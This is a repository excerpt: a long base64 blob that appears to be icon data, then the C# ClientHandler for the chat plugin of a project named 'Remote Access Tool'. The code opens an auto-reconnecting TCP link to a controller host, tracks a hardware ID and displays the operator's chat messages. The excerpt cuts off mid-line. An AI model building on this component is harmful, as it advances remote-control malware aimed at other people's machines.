NTP/NTAw/zAtLdYuKywCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkXA/EY5uQWaK bEO2hmlF7YJoRv9+ZUj/emNJ/3ZhSf9xXkn/bVtJ/2lZSf9lVkj/YVNH/1xQRf9XTUP/U0lB/05GP/9J Qj3/RD46/z85N/86NTP/NTAw/zAtLq4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJlzNg2W cTqEk3A+6o5uQd+KbEP9hmlF/4JoRv9+ZUj/emNJ/3ZhSf9xXkn/bVtJ/2lZSf9lVkj/YVNH/15RRf9f T0P/WkxB/09GP/9JQj3/RD46/z85N/86NTP/NTAw/zAtLrAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAn3UtK5t0M4OXcjp8knA+qY5uQfSKbEP+hmlF/4JoRv9+ZUj/emNJ/3ZhSf9xXkn/b1xJ/3BbSP9w Wkf/cVhG/29WRP9qVEP/bFNB/3RVQP96Vj//a088/0A6N/86NTP/NTAw/zAtLeIuKywGAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAn3UtKZtzM6mXcjrmk3A+ro5uQcuKbEP5hmlF/4JoRv9+ZUj/emNJ/3ZhSf9x Xkn/bVtJ/2lZSf9lVkj/YVNH/1xQRf9XTUP/U0lB/05GP/9JQj3/Yks8/39WPP86NTP/NTAw/zAsLf8s KSt2JiQnQSUjJgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAKZ4HgCkdyRhoHYr0pt0MneWcTqVknA+9Y5uQfOKbEO+hmlF8IJoRv9+ ZUj/emNJ/3ZhSf9xXkn/bVtJ/2lZSf9lVkj/YVNH/1xQRf9XTUP/U0lB/05GP/9JQj3/RD46/4daPf9G OzX/NTAw/zAsLf8rKSr+JyUooQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAqnkWAKh4GlqldyFsn3UsVJt0M+SXcjrxk3A+ko5uQZ6K bEP4hmlF/oJoRvJ+ZUj+emNJ/3ZhSf9xXkn/bVtJ/2lZSf9lVkj/YVNH/1xQRf9XTUP/U0lB+05GP/9J Qj3/RD46/4VZPf9EOjT/NTAw/zAsLf8rKSrsKCYoHgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAqnkWAal5GA+kdyOLoHYr+5t0MqOW cTpyknA+5Y5uQfmKbEOthmlFq4JnRuJ+ZUj/emNJ/nZhSf9xXkn/bVtJ/2lZSf9lVkj/YVNH3FxQRYBY TUM1UklBq05GP/9JQj3/U0U7/3dSO/86NTP/NTAw/zAsLfEsKis/AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAqnkVA6h4GqOk dyLcoHYqVJtzNKiXcjr+k3A+uo5uQX+KbEPghmlF/4JoRu5+ZUi/emNJ7HZhSf9xXkn/bVtJ/2lZScxl VkhTYlRHBVlORAFXTEN4U0lB/k5GP/9PRD3/YEo8/0A6N/86NTP/NTEw4TEtLjUAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAArHoTf6l5GJOkdyM5oHUr3Zt0M/CXcjl2knA+q45uQf+KbEP4hmpFlYJnRp9+ZUj8emNJ/3ZhSf9x XknablxJVGtaSQJjVUcAYFJGJlxPRbBXTUP/U0lB/05GP/9JQj3/RD46/z85N/06NTSlNjIyEgAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAACvew8NrXoRQ6d4Gz+kdyLuoHYrzpt0M1iWcTrbk3A+/49vQcuKbENchmlF0oJoRv9+ ZUj/emNJ83ZhSXpzX0kKbFtJGWhZSVdlVkiuYVNH+VxQRf9XTUP/U0lB+E5GP+VJQj38RD46w0A6N0E8 NzUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAq3kUMah4GfCldyGon3UsU5t0M/CXcjr/k3A9j45uQmeK bEPzhmlF/4JoRv9+Zki9emNJMHVgSWBxXkmzbVtJ5GlZSetlVkjbYVNHvFxQRZpXTUOoU0lBvU5GP6BK Qz0+RkA7AgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew8JrHoS2al5F4GjdyRRoHYr+Zt0M/WX cjlhknA+kY5uQf6KbEP/hmpF9INoRm2AZ0cCAAAAAAAAAAAAAAAAbFtJEWlZSTllVkhZYVNHclxQRX1Y TUNKVEtCCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwew5prXoRaKd4G0Sk dyL2oHYr7Jx0MkyWcTqyk3A+/45uQf+KbEPUh2pELgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACx ew0kq3kUJah4GeykdyLooHYqQZtzM8WXcjr/k3A+/49vQaeMbUIOAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAACvew8ErHoTyal4GOWldyE7oHUszZt0M/+Xcjr8k3E9eZFvQAEAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew5jrXoS56l5FzWkdyPAoHYr/5t0M/aYcjlZAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwew63rnoRMKh4GpukdyL/oHYr85x0MUeZ czYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACyfAwjq3kUUah4Gf6k dyLzoXYpPwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACv ew8CrHoT2qh4Gfeldx9IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAACvew83rHoS/al5F1+neBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew9KrXoRiqt5FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew8LrnoQBQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////AAD/////9/8AAP///+eA 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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKJ2JgCddS8Ml3I5J5FwP0GLbENchWlFeH9mSJl5 YknNcl5J+mxbSf9mV0j/X1JG/1lNRP9SSUH/SkM9/0M9Of87NjT/My8w/ywpK/8mJCf/ISAk/yEgI/8h ICP/IB8jUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkG9AGotsQ2KF aUWUf2ZIu3liSc9yXknqbFtJ/2ZXSP9fUkb/Wk5E/2lSQf9pUD7/aE08/2ZKOf9aQjX/LCkr/yYkJ/8h ICT/IB8j3iQiJWMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnHQyApdyOUaR cD+Ci2xDmYVpRax/Zki6eWJJxHNfScNsW0ncZ1dI/3RZRf9vVUP/VUpB/0pDPf9DPTn/OzY0/zcxMP8x LCz+JiQnwyonKrVKQj3ZYlRH23hiSF+NbUEXq3kWBMCAABcAAAAAAAAAAAAAAAAAAAAAAAAAAKR3Ix2e dS6EmHI4s5FwP8aLbEPRhWlF4X9mSON5YknRcl5Jz3VdSP95XUb/YVJG/1lNRP9SSUH/SkM9/0M9Of87 NjT/My8w/y0qK8IhICSPLyssvkpCPdtjVEfyemNI+pBvPvWoeBvYvH8BdwAAAAAAAAAAAAAAAK97Dwir eRRnpncffJ91LEKXcjk/kXA/motsQ7CFaUXJf2ZI+HliSf97YUj/dF1I/2ZXSP9fUkb/WU1E/1JJQf9K Qz3/Qz05/zs2NP8zLzD/LSorliIhJKQ7NjS8W09EoXhiSH2TcDtZr3sQMsKBAAQAAAAAAAAAAAAAAAAA AAAAsHsOB697DwAAAAAAAAAAAAAAAACQb0ATi2xDdIVpRet/Zkj/emNJ/3VfSf9sW0n/ZldI/19SRv9Z TUT/UklB/0pDPf9DPTn/OzY0/zMvMP8vLC0zAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAl3I6QJFwP7KLbEP2hWlF/39mSP95Ykn/cl9J/2xbSf9m V0j/YFJG/11PRP9VSkH/SkM9/0M9Of87NjT/My8w/y8sLR8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ11LzSYcjiekXA/yItsQ/OFaUX/f2ZI/3liSf9y X0n/bltJ/21ZR/9rVkX/ZVJD/2VQQf9pUD7/ak48/zs2NP8zLzD/LissWSUjJgEAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACkdyQrn3UtpphyOKWRcD/Vi2xD3YVpRfh/ Zkj/eWJJ/3JfSf9sW0n/ZldI/19SRv9ZTUT/UklB/0pDPf9VRTv/Y0g4/zMvMP8sKivsJyUoYwAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAqXkXDqV3IF6edS6nmHI4zJFwP6mL bEPqhWlF139mSPh5Ykn/cl9J/2xbSf9mV0j/X1JG/1lNRNlRSEHkSkM9/1NEOv9gRzj/My8w/ywqK9co JigNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACpeRcYpXcgxZ91LYmX cjnGknA/wotsQ7GFaUX1f2ZI23liSfZyX0n/bFtJ+2ZXSKBhU0cxV0xDNlFIQfNNRD3/Xkk7/zs2NP80 MDDPLissGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAr3sPAqt5FH+l dyFkn3Ut45hyOJGRcD/ZjG1C2IVpRaB/ZkjveWJJ/3NfSbBtXEkmZFZIFV9SRoFYTUT3UklB/0pDPf9D PTn5PDc1iDYyMggAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACv ew8EqnkWTKZ3H9OedS58mHI49pJwPp+LbEOphWlF/39mSOJ5Y0lgcl5JamxbSbRmV0jmYFJGy1hNRMFS SUHHS0M9ikU/Oh8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAK97DxasehOwpHchbZ91LfeYcjd9kXA/zotsQ/+GaUWjgWdHDwAAAAAAAAAAa1pJEmZXSDZf UkZQWU5EO1RLQgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAsHsOLap5FUuldx/wn3UtcZdyOeOScD/3jG1CYohrRAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew8Qq3kU3aZ3H2ifdS3pmHI46JNxPTYAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALB7Dm+sehNWpXcg3p91LNyaczUiAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsnwMEKp5FaOmdx/doXYpHAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew8ZrHkT6Kd4GyMA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK97Dyat ehFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/ ///////cH///gB///wAf//8Af//AgP//AAH//gAB58AAAecAAAAHQAAAB/gAAAf/AAAP/AAAAPgAAADg AAAB5wAA//4AAP/8AAB/+AAAf/AAAH/wAAD/4AAB/+AAB//gDB//4B///+B////g////4f///+P////n /////////ygAAAAQAAAAIAAAAAEAIAAAAAAAAAQAACMuAAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABRSEAFAAAAADEtLgsmJCcLIB8jAgAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABaTkQZTkU/f0A7ODgwLS2RJCImhSAfIxAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAgGdHA3FeSQlrWkksWE1Ea05FP/A/OjftMS0ueyckJyAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAACXcjoMjm5BVoJnR5t2YEnDaFhIzl1RRW9ORj/zPzo3+DUxMSgAAAAAIB8jCSAfIxQA AAAAwIAAK7R8B16oeBqAm3Mzn45uQbyCZ0bsdmBJ/2lZSP9cUEX4TkY/8z85N/8yLi+aIyElIi4nJn8o IyVkAAAAAMiCAACyfAsmqHgaY5t0M3yObkGNgmdGvHVgSfFpWUj/XFBF/05GP/8/OTf/MCwt/yMiJf8p JCX/IB8jQQAAAAAAAAAAAAAAAAAAAACXcjkSjW5BZoJnRq12YEnQaVlI9mdURP9cSz//U0I4/zwyL/8l IybdQDk1vXxkRx29fwQHAAAAAK97DwKoeBtAm3Mzbo5uQbiCZ0bheGFJ53JbSP9cUEX/TkY//z85N/8x LS7WLCkrq11QQ7uKaz6fr3sSVQAAAACwew4Cr3sPAJdyOhCNbkGMgmdG+nZhSf9pWUj/XVBF/09GP/8/ OTf/My8vlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKR3JAuaczSHjm5B24JnRv12YEn/a1lI/2JSRf9b Sz//V0Q5/zEtLtEnJSgZAAAAAAAAAAAAAAAAAAAAAAAAAACmdx9Sm3M0sI5uQcGCZ0bodmBJ/WlZSeZc UEWQTkY/9VNCOP8xLi6wKCYoAwAAAAAAAAAAAAAAAAAAAACvew8Bp3gbgJtzM7qObkG+gmdG3HZhSZ5p WUh1W09FwU5GP9RBOzhoNjIyAgAAAAAAAAAAAAAAAAAAAAAAAAAAsHsOEah4G5abdDKyj25ByYVpRS0A AAAAZ1dIEl1QRSNUS0IBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALB7DiCoeBqenHQxtJNxPQ4A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwew4KqXkYo6F2KQcA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAr3sPCa16ERAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/6MAAP8DAAD4 BwAA4AkAAAABAAAAAQAA4AAAAIAAAACADwAAwAcAAMAHAACADwAAgj8AAIf/AACP/wAAn/8AAA== ================================================ FILE: Remote Access Tool/Plugins/Chat/ClientHandler.cs ================================================ using PacketLib; using PacketLib.Packet; using PacketLib.Utils; using System; using System.Drawing; using System.IO; using System.Net.Sockets; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class ClientHandler : IDisposable { public Host host { get; set; } private Socket socket { get; set; } public bool Connected { get; set; } public string HWID { get; set; } public string baseIp { get; set; } public string key { get; set; } public bool hasToExit { get; set; } public delegate bool ConnectAsync(); private delegate int SendDataAsync(IPacket data); public ConnectAsync connectAsync; private readonly SendDataAsync sendDataAsync; public delegate byte[] ReadDataAsync(); public delegate IPacket ReadPacketAsync(byte[] BufferPacket); public ReadDataAsync readDataAsync; public ReadPacketAsync readPacketAsync; public ClientHandler(Host host, string key, string baseIp, string HWID) : base() { this.hasToExit = false; this.host = host; this.key = key; this.HWID = HWID; this.baseIp = baseIp; sendDataAsync = new SendDataAsync(SendData); readDataAsync = new ReadDataAsync(ReceiveData); readPacketAsync = new ReadPacketAsync(PacketParser); } public void ConnectStart() { connectAsync = new ConnectAsync(Connect); connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null); } private bool Connect() { try { socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true); socket.Connect(host.host, host.port); return true; } catch { } return false; } public void EndConnect(IAsyncResult ar) { Connected = connectAsync.EndInvoke(ar); if (hasToExit) { return; } else if (!Connected) { ConnectStart(); } else { Receive(); } } public void Receive() { if (hasToExit) return; if (Connected) readDataAsync.BeginInvoke(new AsyncCallback(EndDataRead), null); else ConnectStart(); } private byte[] ReceiveData() { try { int total = 0; int recv; byte[] header = new byte[5]; socket.Poll(-1, SelectMode.SelectRead); recv = socket.Receive(header, 0, 5, 0); int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0); PacketType packetType = (PacketType)header[4]; int dataleft = size; byte[] data = new byte[size]; while (total < size) { recv = socket.Receive(data, total, dataleft, 0); total += recv; dataleft -= recv; } return data; } catch (Exception) { if (Connected) hasToExit = true; return null; } } public void EndDataRead(IAsyncResult ar) { byte[] data = readDataAsync.EndInvoke(ar); if (data != null && Connected) readPacketAsync.BeginInvoke(data, new AsyncCallback(EndPacketRead), null); Receive(); } private IPacket PacketParser(byte[] BufferPacket) { try { return BufferPacket.DeserializePacket(this.key); } catch (Exception) { return null; } } public void EndPacketRead(IAsyncResult ar) { IPacket packet = readPacketAsync.EndInvoke(ar); if (packet != null) ParsePacket(packet); } public void ParsePacket(IPacket packet) { switch (packet.PacketType) { case PacketType.CHAT_ON: RemoteChatPacket chatPacket = (RemoteChatPacket)packet; Launch.chatForm.Invoke((MethodInvoker)(() => { Launch.chatForm.msgRichTextBox.SelectionColor = Color.FromArgb(197, 66, 245); Launch.chatForm.msgRichTextBox.AppendText(chatPacket.msg); })); break; case PacketType.CHAT_OFF: hasToExit = true; Launch.ExitChatForm(); break; } } public void SendPacket(IPacket packet) { if (Connected) sendDataAsync.BeginInvoke(packet, new 